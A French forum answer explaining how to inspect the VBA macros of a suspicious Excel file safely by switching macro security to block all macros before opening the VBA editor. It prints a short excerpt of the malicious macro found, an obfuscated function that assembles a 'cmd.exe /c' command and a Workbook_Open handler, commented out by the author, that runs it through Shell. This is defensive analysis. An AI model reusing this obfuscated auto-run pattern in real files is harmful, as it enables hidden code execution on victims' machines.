Bien que les réponses de Mokubai et hBy2Py semblent excellentes et vous permettent en effet d'afficher l'éditeur VBA, il semble qu'au moins dans Excel à partir de Microsoft Office Professional Plus 2016 ne vous laisse toujours pas afficher le code.
Il se trouve que je possède cette version et j'étais sûr d'avoir reçu un XLS malveillant et je voulais l'inspecter. Après l'avoir ouvert dans Excel, il s'est ouvert en mode sans échec comme d'habitude et bien sûr, je n'avais aucune intention de rejeter ce mode. Lorsque j'ai ouvert VBA Editor comme d'autres répondants l'ont indiqué, on m'a présenté ... VBA Editor vide . Le panneau "Explorateur de projets" affiche utilement "Aucun projet ouvert" bien que je n'aie pas encore fermé le fichier XLS. Juste pour le plaisir de tester, j'ai ouvert un deuxième document (un de mes travaux) et il est immédiatement apparu dans VBA Editor et était (correctement) totalement dépourvu de VBA. Cependant, le document provenant d'Internet n'était pas répertorié dans l'éditeur VBA .
J'ai perdu un peu de temps à essayer de comprendre pourquoi, et je n'ai trouvé aucune raison. Il semble que mon édition Excel n'envoie tout simplement pas de modules VBA à l'éditeur VBA lorsque le document est chargé en mode sans échec. Malheureusement, VBA Editor n'a pas de fonctionnalité "VBA ouvert depuis Office Document", il est donc clair qu'Excel est le cerveau ici et qu'il doit décompresser / décoder / quel que soit le XLS en premier.
La solution s'est avérée assez simple.
- Cliquez sur
Ribbon
-> Developer
->MacroSecurity
- alternativement,
File
-> Options
-> SecurityCenter
(dernier groupe d'options) -> Settings
-> Macros
)
- Rappelez-vous (ou notez) quels sont les paramètres actuels
- Remplacez-les par "Bloquer toutes les macros sans notification"
- Confirmer, fermer, rouvrir le document, rouvrir VBA Editor
- Restaurer les paramètres d'origine pendant que vous avez fini de jouer avec le feu
Effets:
- la notification ne s'est pas présentée
- le document a été entièrement chargé
- aucune macro n'a été exécutée
- VBA Editor a obtenu les modules et présenté tout le code
Au cas où vous seriez curieux: oui, c'était en effet malveillant, petit exemple:
Function marcopoloko()
marcopoloko = Left("CM to inches converter", 2) + Right("fed.ex", 4) + "e " + "/c" + numneroop + amagilocard
End Function
'Sub Workbook_Open()
'If xlTickMarkOutside > 0 Then
'Shell marcopoloko + """", xlXmlExportSuccess
'End If
'End Sub
BTW. comme vous pouvez le voir, j'ai immédiatement commenté le point d'entrée et réenregistré le document, au cas où j'autoriserais les macros à s'exécuter à un moment donné plus tard.
Alt
+F11
peut entraîner la! SECURITY WARNING ... Enable Content
disparition de la bannière " ", ce qui implique que l'exécution du code est désormais activée. C'est trompeur. Vous pouvez le démontrer en créant un document avec unon_open()
module. Vous pourrezAlt
+ entrerF11
et inspecter le code sans déclencher l'événement.